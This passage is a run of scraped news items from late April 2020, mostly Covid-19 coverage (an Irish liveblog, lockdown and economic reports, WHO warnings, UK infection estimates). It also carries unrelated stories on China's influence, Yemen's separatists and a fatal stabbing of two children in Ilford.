expire on Tuesday May 5 but the Chief Medical Officer Tony Holohan has warned they would not be changed drastically. President of Infectious Disease Society of Ireland and chair of the National Immunisation Advisory Committee Professor Karina Butler said we must be sure that everything is in place to deal with potential outbreaks of Covid-19 when restrictions are eased. 13:40 28/04/2020 Global aviation will be slow to recover post-coronavirus, says Boeing CEO The impact of coronavirus on the aircraft manufacturing industry will be felt for years, Boeings chief executive has said. The Covid-19 pandemic has seen widespread reductions in air travel with airlines parking 2,800 jets. Boeing was in trouble before the coronavirus outbreak with its best-selling jet, the 737 Max, grounded after two crashes killed 346 people. Speaking to shareholders on Monday, David Calhoun said: We are in an unpredictable and fast-changing environment, and it is difficult to estimate when the situation will stabilise." 13:20 28/04/2020 Pensioners double online grocery spend during coronavirus lockdown British pensioners have flocked to online supermarkets, doubling the amount they spend food shopping on the internet as coronavirus forces them to stay indoors. The over-65s spent 94pc more on deliveries than they did this time last year, according to a closely watched survey from Kantar. It marks an overall lift in website sales for the major supermarkets. Retailers efforts to increase their online capacity are clearly working, with shopper numbers up by a quarter. Online sales now account for 10.2pc of overall grocery, versus 7.4pc last month, with the greatest increase among older shoppers, said Fraser McKevitt, head of retail and consumer insight at Kantar. 13:00 28/04/2020 WATCH: Dublin pub sees rise in employment thanks to a 'Dial-a-Pint' delivery service Grainger's Hanlons Corner on Dublins' North Circular Road have seen a rise in employment since they closed their doors after they launched a pint and food delivery service. 12:50 28/04/2020 Hope for new Scottish drug which shows promise in fight against Covid-19 Scientists hope to begin clinical tests of a new anti-viral drug which has had positive results in laboratory tests against Covid-19. Pneumagen, a University of St Andrews spin-out company, carried out three separate in-vitro studies into preventing coronavirus infections, including Sars-CoV-2 infection, the cause of Covid-19, using Neumifil and multivalent Carbohydrate Binding Modules (mCBMs) generated using its GlycoTarge technology. The successful studies involved both treating infection and blocking new infections. 12:20 28/04/2020 Trump Twitter tirade over criticism of his work ethic Expand Close Gaffe: Dave Nash spray-paints a mural of President Donald Trump in Royston, Britain, holding a bottle of Domestos bleach, following his coronavirus treatment comments. Photo: Matthew Childs/Reuters / Facebook Twitter Email Whatsapp Gaffe: Dave Nash spray-paints a mural of President Donald Trump in Royston, Britain, holding a bottle of Domestos bleach, following his coronavirus treatment comments. Photo: Matthew Childs/Reuters US President Donald Trump's first tweet came unusually late, popping up a few minutes after noon - hours behind schedule for a president who is often awake and tweeting as the sun rises. "Happy Birthday to Melania, our great First Lady!" Trump tweeted at 12.06pm. The celebratory tweet kicked off a long day of tweeting and retweeting that ramped up at around 2pm when Trump observed, in response to a recent 'New York Times' article, that those who know him regard him as "the hardest working President in history". Over the next seven hours or so, Trump took aim at everything and anyone he could, unleashing a barrage of more than 30 tweets and retweets that targeted media outlets, high-profile commentators, and Democrats. Read More 12:00 28/04/2020 Public now shopping like they did a decade ago, says Tesco boss The Covid-19 pandemic has changed the publics shopping habits, which have reverted to how they were 10 or 15 years ago, the head of Tesco has said. Chief executive Dave Lewis told the BBC just about everything in the business has changed since the outbreak. Mr Lewis said that, while the number of sales in April had almost halved, customers were buying twice as much on average. People are shopping once a week, a little like they did 10 or 15 years ago, rather than two, three or four times a week that was happening before the crisis, he said. Mr Lewis said a significant change is the increase in online shopping, with only 600,000 deliveries per week prior to the pandemic. Expand Close Shoppers queueing outside Tesco supermarket / Facebook Twitter Email Whatsapp Shoppers queueing outside Tesco supermarket 11:40 28/04/2020 Lockdown extended for another two weeks for the vast majority The national lockdown will be extended for another two weeks for the vast majority of people when the current quarantine period ends after the bank holiday weekend. The Government will announce the extension on Friday while also outlining a roadmap for lifting social-distancing restrictions over the coming months. The only easing of working restrictions from May 5 being considered is for those who work outdoors, such as construction workers and gardeners. Over-70s who have been asked to cocoon will be told they can exercise once a day as long as they take social-distancing precautions. Read More 11:20 28/04/2020 WATCH: Chief Medical Officer discusses concerns over easing restrictions on May 5 Chief Medical Officer Dr. Tony Holohan on concerns over Ireland's readiness to operate under less restrictions on May 5th. 11:00 28/04/2020 Austria loosens lockdown further, allowing gatherings of up to 10 people Austria is loosening its general lockdown rules by allowing gatherings of up to 10 people, Health Minister Rudolf Anschober said on Tuesday. The rules, which include guidance that the public only leave their homes for a limited number of reasons including shopping or exercise, are due to expire on April 30. Anschober told a news conference there was no need to extend them. Some 3.03 million people have been reported to be infected by the novel coronavirus globally and 210,263 have died, according to a Reuters tally. Infections have been reported in more than 210 countries and territories since the first cases were identified in China in December 2019. 10:40 28/04/2020 Fears 'cocooning' elderly caught the virus from health visitors Two elderly people 'cocooning' at home are feared to have caught Covid-19 from visits by healthcare support workers. The cases - in the south and west, which are totally unrelated - are currently under investigation by health chiefs. However, in one case the person reported no contact with family, friends or neighbours - and only had visits to their home by healthcare support workers. A contact tracing centre source indicated that the person was adamant their only home contact was with healthcare support officials. Read More 10:20 28/04/2020 WATCH: Tralee Garda performs hilarious lipsync of 'Is This The Way To Amarillo' with local residents Tralee Community Garda Mary Gardiner was joined by Tralee residents to help raise donations for hospital staff, and for one-year-old Dan who diagnosed with a severe type 1 SMA (Spinal Muscular Atrophy) condition. Dan needed funds for a new treatment, and yesterday his parents announced they had reached their target. 09:40 28/04/2020 Shortfall of 1.5 million eggs a day due to avian flu outbreak Eggs are being imported to meet demand because of a shortfall of 1.5 million eggs a day due to an outbreak of avian flu in Ireland. One supplier has warned it could take a year before production levels recover. Supermarkets, which are already experiencing increased demand for eggs during the coronavirus lockdown, have said they are experiencing some "supply issues". However, the Irish Egg Association, which represents the main egg-packing companies in Ireland, last night revealed to the Irish Independent that eggs are now being imported to meet the shortfall. It said the drop in egg production is estimated to be between 10pc and 15pc, although it could be even higher as this is an evolving situation. One supplier has said there is now a daily shortfall of 1.5 million Irish eggs. Read More 09:00 28/04/2020 Low-tech changes can reduce airborne Covid-19 spread in emergency hospitals Simple, low-tech modifications can reduce the airborne spread of coronavirus in emergency Covid-19 hospitals, researchers say. They suggest low-cost ventilation designs and configuration of wards can reduce the dispersal of airborne virus in emergency hospitals converted from large open spaces. The University of Cambridge scientists say large air-conditioned halls tend to have top-down air-conditioning, which creates turbulent flows that can mix and spread droplets containing the virus very widely. In this setting, it may take over 20 minutes to dilute the concentration of smaller droplets produced in a cough to below a tenth of their original density. According to the researchers, this is enough time for droplets to travel beyond 20 metres, putting healthcare professionals in particular at risk as they move about through them. Expand Close Low-tech changes can reduce airborne Covid-19 spread in emergency hospitals (Danny Lawson/PA) / Facebook Twitter Email Whatsapp Low-tech changes can reduce airborne Covid-19 spread in emergency hospitals (Danny Lawson/PA) 08:20 28/04/2020 How testing regime is not picking up 'hidden' virus cases Hidden cases of coronavirus infection are not being picked up because the current testing regime is not yet broad enough, it emerged yesterday. Kingston Mills, professor of experimental immunology in Trinity College, said that testing is not detecting many people with asymptomatic infection, where a person has the virus but no symptoms. These asymptomatic cases account for a significant number of people who get the infection, he added. "They are being missed. An asymptomatic person can pass it to on another person," he said. "Some of studies in Iceland, Germany and California suggest they account for between 25pc and 50pc of all cases." Read More 07:40 28/04/2020 Effect on Northern Ireland economy will be staggering Danske Bank Northern Irelands economy will shrink by a "staggering" 7.5pc this year, one of the countrys main banks has predicted. Danske Bank reiterated warnings of a sharp decline in growth as social distancing restrictions prompted lower consumer spending and business investment dropped. The forecasts were based on the assumption that the lockdown remains in place until somewhere between the end of May and the middle of June before gradually being lifted, with some social distancing measures expected to remain for a longer period. Danske Bank chief economist Conor Lambe said: Unfortunately it seems clear that we will experience a staggering decline in economic activity in Northern Ireland this year due to the impact of the coronavirus pandemic on consumer spending and business investment." 07:00 28/04/2020 New Zealand on verge of victory after five weeks of strict measures sees numbers plummet For five weeks, New Zealanders have endured some of the toughest lockdown conditions anywhere in the world. The rules were conveyed loudly, clearly and frequently: no socialising with anyone outside your household; no beach swimming or boating; no holidays; no hiking; no children's playgrounds; no weddings; no funerals; no haircuts; and no restaurants or even Uber Eats. "Educational" police roadblocks - and, in about 500 cases, prosecution - faced anyone failing to comply with the "stay home and save lives" mantra of Jacinda Ardern, the prime minister. Now, the country appears to be on the verge of victory. Beijing has overplayed its global hand during the coronavirus crisis, but its longer-term goal of undercutting Western democracies remains intact, witnesses told a US congressional advisory panel on Monday, warning against any discounting of Chinas ability to shift gears and retrench. China experts testifying before the US-China Economic and Security Review Commission highlighted several moves that have tarnished the countrys image, including a flood of defective masks, protective gowns and ventilators that Beijing has sent to other countries. Chinas global propaganda campaign has often been blunt and obvious to foreign ears, and a series of coronavirus-related racist incidents in Guangzhou sparked strong diplomatic resistance from African leaders, leading to calls for debt relief tied to the Belt and Road Initiative, President Xi Jinpings signature infrastructure project, the experts noted. This is a very tough moment and unprecedented challenge for China as Xi Jinping himself recognised it. Its a crisis unprecedented since the creation of the PRC, said Nadege Rolland, a senior fellow with the National Bureau of Asian Research, referring to the Peoples Republic of China. What China is trying to sell to the rest of the world is maybe not a good version of the world we want, she added in her presentation, delivered remotely. At the same time, the party has proven over and over again its capacity to be adaptive and flexible. Witnesses at the panel, titled A China Model? Beijings Promotion of Alternative Global Norms and Standards, said Beijings global influence campaign aimed at burnishing its reputation after Covid-19 spread from Wuhan to the rest of the world fits into a broader, long-term strategy. In a campaign laid out decades ago, China seeks to expand its influence, blunt international human rights and other criticism, rejuvenate the nation and bolster its popularity in advance of the 2049 centenary of modern China, they said. Even as the strategy remains roughly constant, however, its tactics shift and evolve. Story continues Beijings goals also include pressure on other countries to block websites, delete references to Taiwan and discourage other content it deems offensive, according to the commission, which was set up in 2001 as Chinas global footprint expanded. The government also wants to expand its business model and the debt dependence of foreign nations, especially related to Belt and Road Initiative projects, and to directly influence foreign governments through corruption, economic and political pressure, it said. The commission makes recommendations to Congress and submits a report annually on the national security implications of the US-China trade and economic relationship. Chinas steady, patient pressure tactics against Western liberal values can be seen in its bid to rewrite global technical standards to favour such national champions as Huawei Technologies, analysts said. Beijing also has worked to fill top United Nations jobs with Chinese nationals and used various multilateral groups, including the Shanghai Cooperation Organisation, to muscle fellow members into supporting restrictive policies on internet governance, cyber sovereignty and human rights, among other areas, analysts said. It doesn't matter whether the institutions continue to exist if the norms within those institutions are fundamentally different, said Elizabeth Economy, Asia studies director at the Council on Foreign Relations. If enough norms within institutions change, you have in effect created a different international order. Domestically, meanwhile, the Chinese Communist Party uses foreign policy to bolster support for its one-party rule and blunt deep displeasure over senior leaders early handling of the pandemic as censorship and delayed crisis management cost lives and embarrassed the country, analysts said. The Chinese embassy in Washington did not respond to a request for comment. President Donald Trump has pulled the US out of multiple international treaties and agreements since taking office in January 2017. Photo: AP At Mondays event, panellists said Beijings current goal was not so much to export Marxist revolution as to popularise authoritarianism. But the US and other Western countries are also at fault, they added, for ceding ground to China through missteps and lost opportunities and failing to work cooperatively or set the global agenda. Since taking office in January 2017, President Donald Trump has pulled the US out of the Trans Pacific Partnership trade group, walked away from the Paris Agreement aimed at stemming global warming and squabbled with the European Union and North American Treaty Organisation, among others. The US needs to do more outreach, said David Shullman, and adviser with the International Republican Institute, a non-partisan, non-governmental group focused on expanding democracy abroad. Panellists added that Western democracies all too often embroiled in domestic infighting also need to spend more time highlighting their strengths rather than Chinas weaknesses. This administration has done a good job calling China out, said Economy. Its done a very poor job of saying, this is what the United States stands for and this is what were going to do. Sign up now and get a 10% discount (original price US$400) off the China AI Report 2020 by SCMP Research. Learn about the AI ambitions of Alibaba, Baidu & JD.com through our in-depth case studies, and explore new applications of AI across industries. The report also includes exclusive access to webinars to interact with C-level executives from leading China AI companies (via live Q&A sessions). Offer valid until 31 May 2020. More from South China Morning Post: This article China is overreaching in bid for greater global influence amid coronavirus pandemic, US advisers say first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2020. Nepal on Tuesday recorded two new coronavirus cases, bringing the total number of the COVID-19 patients in the country to 54. Two men, aged 35 years and 24 years, from Ratahat district in southern Nepal have tested COVID-19 positive, the Ministry of Health and Population said. Both men were staying in quarantine after returning from India, one from Kolkata and the other from Delhi, one month ago, it said. So far, COVID-19 tests have been conducted on 10,807 people. Sixteen people have returned home after their successful treatment. Currently, there are 38 active patients undergoing treatment at various hospitals across the country. Nepal has been under lockdown since March 23. All government services other than essential have been shut down. On Sunday, the government extended the nationwide lockdown till May 7 to stop the spread of the virus. Nepal's tourism sector is the worst hit by the pandemic. The Hotel Association of Nepal has projected that the hotel business income will decline by 90 per cent in 2020 and has asked the government to adopt special measures to protect the industry. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) CAIRO - A declaration of self-rule by the most influential Yemeni southern separatist group has triggered concerns that Yemen's conflict could escalate just as the United Nations is seeking a nationwide cease-fire to prevent the spread of the novel coronavirus. The United Arab Emirates, the separatists' main backer, said Monday it opposes the declaration and urged the group to honor a peace deal it signed last year with the internationally recognized government affirming shared control of the south. Saudi Arabia - which, along with the UAE, leads a regional Sunni Muslim coalition fighting in Yemen - called for the separatists to reverse their move, describing it as "an escalatory action." The United Nations also voiced concern, urging the feuding sides to adhere to the peace deal, known as the Riyadh Agreement. Accusations of delays in implementing the truce appear to have prompted the Southern Transitional Council's decision over the weekend to declare self-rule. The tensions were the latest jolt to Yemen's south, after at least 14 people, including five children, were killed in flash floods last week in the Red Sea city of Aden, the temporary capital of the internationally recognized Yemeni government. The country, the Arab world's poorest, is already in the grip of the world's most severe humanitarian crisis after more than five years of conflict. This month, the first case of covid-19, the disease caused by the novel coronavirus, was detected, sparking fears that the disease could quickly spread at a time when Yemen is facing deep cuts in humanitarian aid funding. "The latest turn of events is disappointing, especially as the city of Aden and other areas in the south have yet to recover from flooding and are facing the risk of covid-19," said Martin Griffiths, the U.N. special envoy for Yemen, in a statement. "Now, more than ever, all political actors must cooperate in good faith, refrain from taking escalatory actions, and put the interests of Yemenis first." The fresh animosities are a reminder of the multiple wars suffocating Yemen. While the primary, and best-known, conflict pits the Saudi-led coalition against northern rebels known as Houthis, the battle for the strategic port city of Aden and other areas in the south involves two allies within the coalition. The UAE supports the separatist Southern Transitional Council, while Saudi Arabia backs the internationally recognized Yemeni government of President Abed Rabbo Mansour Hadi. All are against the Iran-aligned Houthis, but rifts inside the coalition have been simmering for more than two years. The STC, which favors splitting Yemen's south from its north, have long tangled with the Yemeni government, ruled for decades by northerners. The group and the UAE disapprove of Hadi's alliance with Islah, an influential Islamist party. The Saudis view Islah as part of Yemen's political fabric. But the UAE and the STC oppose any role for Islah because of its links to the Muslim Brotherhood, a regional political Islamist movement that the Emiratis and other Arab rulers have labeled terrorists. Last August, STC fighters seized control of Aden after four days of clashes that killed as many as 40 people, injured 260 and forced tens of thousands of civilians to flee the city nestled on the tip of the Arabian Peninsula. That prompted the coalition to target its own allies with airstrikes. In November, the STC and the government signed a peace agreement in the Saudi capital, Riyadh. It was hailed by Saudi Arabia, the UAE and Western powers as paving the way to a broader political solution that would end Yemen's civil war and humanitarian crisis, which has left millions on the edge of starvation and vulnerable to outbreaks of disease. The deal called in particular for a government composed of equal numbers of southerners and northerners, for the separatist forces to come under the control of the government and for the STC to return all government buildings it had seized. But the Riyadh deal did not address southerners' underlying grievances or their main issue of secession, said analysts. Deadlines repeatedly slipped for military integration and creating a power-sharing government of technocrats. Each side blamed the other. Meanwhile, international attention was focused on a Saudi cease-fire with the Houthis and the emergence of the coronavirus. Regional powers were distracted by the start of the Muslim fasting month of Ramadan on Friday. "This was an opportune moment for the STC to take a stand," said Elisabeth Kendall, a Yemen scholar at Oxford University. The flooding, she added, also set off "a political point-scoring match between the government and the STC, both of whom hailed the poor response as evidence of the other party's inability to govern." Over the weekend, it became clear that the mistrust had deepened once again. The STC vice president, Hani Ali Brik, sent a tweet Sunday morning accusing the Hadi government of setting up obstacles to the deal and of corruption and mismanagement. Hours earlier, the separatists had announced emergency rule in Aden and other southern provinces. They also declared their intent to take control of the port, the airport, the central bank and other government areas. Officials in three southern provinces - Shabwa, Hadhramaut and Socotra - rejected the self-rule declaration. Yemen's foreign minister said the announcement was "a resumption of its armed insurgency" and warned of "dangerous and catastrophic consequences." The self-rule move comes as the Hadi government has been weakened by significant Houthi military gains and signs that the Saudis are looking for a way to exit the war. "This is just one more blow to its credibility," Kendall said of the government. It could also hurt peace prospects. The declaration "makes a cease-fire and political settlement harder," said Peter Salisbury, the International Crisis Group's senior analyst for Yemen. The Riyadh deal opened a path for a more representative Yemeni government, giving it more credibility to negotiate with the Houthis. "If the deal collapses, that is taken off the table," Salisbury said. "Secondly, the STC are one of the groups fighting the Houthis on the ground. If they aren't part of a cease-fire deal, then the Houthis can argue there is no cease-fire." "The short-term winners are of course the Houthis, since any resurgence of rifts in the coalition distracts energy and resources away from the war against them," Kendall said. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Jerusalem Tue, April 28, 2020 06:42 625 fc6853813033f564188675f8bd48e876 2 World Israel,BenjaminNetanyahu,coronavirus,COVID-19,COVID-19-lockdown,COVID-19-quarantine,pandemic,reopening Free Israeli Prime Minister Benjamin Netanyahu told education officials on Monday to prepare to reopen some classrooms next week after a six-week closure, his office said. The planned school reopening, part of a gradual easing of coronavirus restrictions, came as the country marked a scaled-down Remembrance Day, during which military cemeteries remained closed. In a statement, Netanyahu's office said educational institutions would reopen in stages from Sunday. It added that the plan was conditional on there being no increase in coronavirus infection rates. A country of about nine million people, Israel has officially recorded over 15,000 cases of COVID-19, including around 200 deaths; one of the lowest mortality rates among countries hit by the pandemic. While the economy was booming before the outbreak, unemployment has increased to 27 percent. As the infection rate slows, the government is looking to gradually get people back to work. Many high street stores along with restaurants offering takeout reopened Sunday, subject to strict social distancing and other regulations. Monday's statement said that the schools plan, subject to a situation assessment on Friday, would start with kindergartens hosting small groups of children on different days. Primary schoolchildren would follow, also in small classes. Childcare is vital to getting working parents back on the job. Senior finance ministry official Lev Drucker said in an online press briefing that the schools closure was costing the Israeli economy an estimated 170 million shekels (45 million euros) a day. A reopening plan for children in communities with a high infection rate was still being debated, Netanyahu's office said. Chief among them are neighborhoods and cities populated mainly by ultra-Orthodox Jews, often in crowded conditions where the disease thrives. At the beginning of the crisis, many ultra-Orthodox did not follow social distancing rules and opposed the closure of synagogues. Their disproportionately high infection rate forced the imposition of exceptional containment measures in those communities, including a beefed up military presence in the city of Bnei Brak, near Tel Aviv. Remembrance Day The reopening of shops, eateries and schools contrasted with the nationwide closure of military cemeteries Monday as Israel marked its annual day of remembrance for soldiers who died in service and civilians killed in militant attacks. Families typically gather at the gravesides of fallen relatives across Israel's 53 military cemeteries. They are often crowded so the government, fearing a spike in contagion, locked the gates, angering many bereaved relatives. The easing on commerce came as Netanyahu and recent election opponent Benny Gantz, were still to finalize the formation of a unity government to combat the public health crisis and its associated economic challenges. Latest projections show Israel's gross domestic product contracting by 5.4 percent in 2020, Drucker said. MP Anthony Iauko (l) and Xavier I (r) photo taken during the first sitting of the 12th Legislature GENEVA (Reuters) - The head of the World Health Organization warned on Monday that the new coronavirus pandemic was far from over and said that he was 'deeply concerned' about the impact of the disruption of normal health services, especially on children. 'The pandemic is far from over,' said WHO Director-General Tedros Adhanom Ghebreyesus, adding that the body was concerned about increasing trends in Africa, eastern Europe, Latin America and some Asian countries GENEVA (Reuters) - The head of the World Health Organization warned on Monday that the new coronavirus pandemic was far from over and said that he was "deeply concerned" about the impact of the disruption of normal health services, especially on children. "The pandemic is far from over," said WHO Director-General Tedros Adhanom Ghebreyesus, adding that the body was concerned about increasing trends in Africa, eastern Europe, Latin America and some Asian countries. "We have a long road ahead of us and a lot of work to do," he said. He added that shortages of vaccines against other diseases were being reported in 21 countries as a result of border restrictions linked to the pandemic, citing the GAVI global vaccine alliance. "The number of malaria cases in sub-Saharan Africa could double," he said. "That doesn't have to happen, we are working with countries to support them." (Reporting by Stephanie Nebehay and Emma Farge; Editing by Michael Shields) This story has not been edited by Firstpost staff and is generated by auto-feed. Jan Somma-Hammel STATEN ISLAND, N.Y. -- Military jets soared over New York City this afternoon in honor of first responders, healthcare employees and other essential workers fighting coronavirus (COVID-19). The "America Strong" flyover began around noon when eight U.S. Air Force Thunderbird F-16 jets with red, white and blue markings and seven U.S. Navy Blue Angel jets flew over the Verrazzano-Narrows Bridge and Staten Island. Don't Edit America Strong is a collaborative salute from the Navy and Air Force to recognize health care workers, first responders, and essential personnel while standing in solidarity with all Americans during the COVID-19 pandemic, according to a news release. Don't Edit Jan Somma-Hammel It was a perfect day to catch the air show. Don't Edit Jan Somma-Hammel Spectators at Fort Wadsworth. Don't Edit Jan Somma-Hammel The air show began around noon U.S. Navy Blue Angel jets flew over the Verrazzano-Narrows Bridge. Don't Edit Don't Edit Jan Somma-Hammel Military jets pass Manhattan. Don't Edit Jan Somma-Hammel Spectators came out in droves to Fort Wadsworth to see the fly-over. Don't Edit Jan Somma-Hammel . Don't Edit Jan Somma-Hammel Don't Edit Jan Somma-Hammel Don't Edit Don't Edit Jan Somma-Hammel Don't Edit Jan Somma-Hammel By Trend The volume of import-export cargo turnover between Kazakhstan and Azerbaijan via railway amounted to 26,320 tons over the period from January through February 2020, which is 174,960 tons less compared to the same period of 2019 (201,280 tons), a representative of Kazakhstans Ministry of Industry and Infrastructural Development told Trend. This includes 11,760 tons of export from Kazakhstan to Azerbaijan, which is 157,830 tons less than during the same period of last year (169,590 tons), and 11,560 tons of import from Azerbaijan to Kazakhstan, which is 17,130 tons less than during the same period of last year (31,690 tons). During the reporting period, a decrease of Kazakh grain export was observed, the export of which to Azerbaijan amounted to 1,800 tons compared to 159,400 tons during the same period of 2019 (decrease by 157,600 tons). In January-February 2020, the decrease of ferrous metals export amounted to 5,500 tons compared to 6,700 tons during the same period of 2019 (decrease by 1,200 tons). In turn, export volume of chemical goods and soda amounted to 500 tons during the reporting period compared to 400 tons during first two months of 2019 having increased by 100 tons. Import supplies of ferrous metals from Azerbaijan to Kazakhstan decreased to 2,000 tons, which is 1,000 tons less than during first two months of 2019. The ministry added that volume of export-import cargo transportation by railways between Kazakhstan and Azerbaijan amounted to 553,970 tons in 2019, which is 142,180 tons less than in 2018 (696,150 tons). Thus, export from Kazakhstan to Azerbaijan amounted to 316,340 tons, which is 93,230 tons less compared to 2018 (409,570 tons), whereas import from Azerbaijan to Kazakhstan amounted to 237,630 tons, having decreased by 48,950 tons compared to 2018 (286,500 tons). --- Follow us on Twitter @AzerNewsAz The heartbroken mother of two children believed to have been stabbed to death by their father has told of the horrifying moment she discovered their blood-soaked bodies. Nishanthani Kumar sobbed hysterically as she recalled how she stormed into a bedroom to discover her two young children lying on a bed drenched in blood as their suspected killer knelt over them with a large kitchen knife in his hand. Her husband Nithin Kumar, 40, is in hospital under police guard with critical stab wounds after the alleged attempted murder-suicide at the family home in Ilford, east London at 5.30pm on Sunday. Nishanthani Kumar and Nithin Kumar pictured (left) with their son Nigish and, right, Nigish and his sister Pabinya are pictured Speaking to MailOnline today, Mrs Kumar wailed: 'I was in the bathroom and could hear one of my children vomiting. I rushed into the bedroom and when I saw them covered in blood, just started screaming. I was shouting 'what have you done to them, what has happened? She said the man was just 'kneeling over them with a crazed look in his eye and didn't say a word. I couldn't understand what was going on.' MailOnline can reveal the names of the Kumars' children as daughter Pabinya, one, who died in the couple's flat in Ilford, East London and son Nigish, three-and-a-half who died later in a major trauma centre. Mrs Kumar, who is known as Nisa, wept as she recalled the devastating events of Sunday afternoon, revealing that when she saw realised that her beloved children had been stabbed her 'mother's instincts kicked in.' She cried: 'I rushed to the fridge to get some ice because I could see that my son had a deep cut to his neck. Blood was gushing out of it. I ran back into the bedroom and started applying the ice to his neck. He was barely able to breathe and was wheezing heavily. Nithin Kumar (pictured) is in a critical condition in hospital after a one-year-old and three-year-old died last night 'My daughter was not moving at all. There was blood all around her. All I could think about was how to save them.' The distraught mother then ran into the bathroom to dial 999 as the suspect leaped off the bed and chased after her. She said: 'I thought he was going to attack me too, so I lashed out and the knife fell out of his hand. I then ran out of the bathroom screaming to the 999 operator that they needed to send an ambulance quickly because my children had been stabbed.' As she returned to be with her dying children, she said the killer then emerged from the bathroom with blood spouting out of his neck. He then slumped on the bed beside. Recounting his haunting words, she told MailOnline: 'He kept on saying 'I'm sorry, I'm scared that they are going to kill me and might do something to the children. He was speaking like a mad man and was going on about 'how they are going to get him' and that he 'had to save the children'. I couldn't make sense of what he was saying. And then he just passed out.' Police, pictured at the scene today, are now conducting a murder investigation - but said all three people knew each other Pictured: Teddy bears in a window at the scene as police investigate the deaths of a three-year-old boy and one-year-old girl who were stabbed in an alleged attempted murder-suicide Mrs Kumar, 35, believes that the man had some kind of 'psychotic episode' even though he did not have any history of mental illness. She said: 'He was a kind, gentle man and very softly spoken. None of this makes any sense. Now everything has been lost.' The grieving mother shared her favourite picture of her children with MailOnline, taken last September on Pabinya's first birthday. She said: 'This is how I want to remember them. Smiling, happy and playing together. We'd had a beautiful day and all the family came over to celebrate. Pabinya got all these wonderful presents and Nigish was also very excited because he was helping her to open them. Nithin Kumar, 40, is pictured with his wife Nisa and their one-year-old daughter and three-year-old son who were both killed in the horrific incident in Ilford, east London 'But I keep seeing them on that bed, covered in blood and Nigish fighting to breathe. I can't sleep at night because that image keeps coming to my mind. It's like being in the worst nightmare imaginable. There are no words to describe what I am going through. I don't understand why God has punished me like this.' The Kumars wed in 2012 in their native country of Sri Lanka in a traditional arranged marriage. Mr Kumar has been in Britain since 1999 with his wife joining him in 2015. Both their children were born in the UK. Mr Kumar is currently battling for his life in an East London hospital while his wife is staying with her sister Rajani in West London. There has been a steady flow of mourners from the local Sri Lankan community visiting to pay their respects. Mrs Kumar sobbed that despite the anger she feels she has been regularly calling the hospital to get an update on her husband's condition. As she attempts to come to terms with her devastating loss, she cried: 'I don't know how I feel about him at the moment, but I do want to know if he is going to live or not. I've lost my children and now I could also become a widow. 'When I came to join my husband in Britain, I thought we were going to be happy. There is nothing that can express the shock and sorrow I feel. My children were my life. Sometimes I wish that I had killed been too because then I would not have to go through this kind of pain.' In a major relief for the millions of Indian citizens stranded abroad amid the COVID-19 pandemic, national carrier Air India and Indian Navy have been reportedly asked to be on standby with their aircraft and warships for the mass evacuation from Gulf countries. "We are assessing the scenario and finding the plan to evacuate Indians from the Gulf countries. We have asked Air India and Indian Navy for the detailed evacuation plan," ANI, quoting a government source reported. AFP "Many Indians have contacted the embassies through social media and emails, showing a willingness to return to their homes. The government is doing all possible planning and making arrangements of their evacuation from their destinations," the source added. Due to the lockdowns and the economic crisis from the COVID-19 outbreak, thousands have faced job losses and pay cuts which is forcing them to come back to India. But due to suspension of air operations and other modes of travel, they have been stuck there. India has suspended all kinds of travel till May 3 as the country continues to be under coronavirus-induced lockdown. BCCL "Around 10 million Indians are in Gulf countries and many of them are living in port cities, and that is why the government has also asked Indian Navy to give a detailed plan for evacuation through sea routes," sources said. The Indian Navy, in their detailed evacuation plan, submitted to the government, has mentioned that "the Indian Navy can evacuate 1,500 Indians from the Gulf countries in three warships of the Navy." The Ministry of External Affairs (MEA) has already started consultations with the States and Union Territories (UT) for the necessary arrangements starting the process. "We have started our consultation with the governments of States/ UTs for the necessary arrangements. Similarly, all missions are also told to make a detailed report for those who have shown their willingness to return back to India and provide full assistance to them," MEA sources told ANI. AFP According to sources, senior officials from the Ministry of Civil Aviation had given brief note before a Group of Ministers that, "India has over 500 aircraft and the Indian aviation is capable of the evacuation of Indians from the Gulf nations." Majority of the Indians who are stranded in the Gulf countries are labourers. Discussion is underway to determine who will bear the expenses of their evacuation- whether it will be borne by citizens or the central government. At least 4.2million people in the UK have been infected with the killer coronavirus, according to one of the best estimates of the disease's death rate. And London, which has been at the heart of Britain's epidemic, is home to at least 935,000 people who have had the disease already. The estimate is based on numbers from a public health surveillance scheme in New York, which found that a quarter of the city's population of 8million people had been exposed to the virus - meaning that the approximately 16,000 deaths recorded there represent a death rate of 0.79 per cent. Other estimates from cities in Europe and a study by the University of California, Berkeley, put the virus's death rate at between 0.19 and 0.5 per cent. In comparison, the death rate of flu is thought to be around the 0.1 per cent mark. Extrapolating from these figures suggest that between 4.2 and 33.5million Britons have been infected with COVID-19, the vast majority of them untested, and between 935,000 and 3.8million people in London may have been ill already. Officials have no idea how big the outbreak truly is because of a lack of widespread testing for people outside of NHS hospitals. As of yesterday, 161,145 people had officially tested positive in the UK but the vast majority of these have been NHS hospital patients or staff. Countless members of the public are believed to have been infected and recovered without medical help. Early surveys in major Western cities are now giving insights into the true death rate of the infection - that is, the proportion of people who die out of everyone who catches it, not just those who end up in hospital. Applying these figures to the numbers of people known to have died in London and the UK as a whole can give a rough picture of how many people in the country might have been infected. Office for National Statistics data today suggested that the true death rate of the UK's coronavirus outbreak will ultimately be 55 per cent higher than the Department of Health's daily updates show, meaning 33,596 people may already have died across the country along with 7,391 people in the capital city. Professor Chris Whitty, the country's chief medical officer, last week said he thought more than 10 per cent of people in London had caught the virus already - some 900,000 people - but that exposure was likely lower in other regions. Death rate models from the UK Government, New York and cities in Europe suggest that anywhere between 900,000 and 7.3million people in London may have caught the coronavirus already Preliminary death rates emerging in studies around the world suggest that anywhere between 4.2million and 33million people in the UK may have been infected with the coronavirus and recovered already Governor for New York City, Andrew Cuomo, said this week that surveys showed a quarter (24.7 per cent) of the city's population had recovered from COVID-19. Officials found this out as a result of their antibody testing programme which can pick up people whose immune systems have fought off the virus. At least 7,500 randomly-selected people have been tested in five boroughs in the city, which has the worst outbreak in the world. The test results suggest some 2.1million people have been infected. 16,673 deaths had been recorded in NYC when Governor Cuomo made the announcement yesterday, putting the death rate at 0.79 per cent. If this death rate persists, and turns out to be true for the UK, the number of people who have died already could mean millions have been infected. A total death toll of 33,596 - a 54.6 per cent increase on the Department of Health's tally (21,731) which ONS data suggests is an accurate assumption - would mean 4,252,658 people have been infected across the UK already. The same condition applied to London would equal 935,569 cases there. This lines up with Professor Chris Whitty's estimate of how many people have been infected in the city. He said in a Parliamentary committee meeting on Friday: 'My view at the 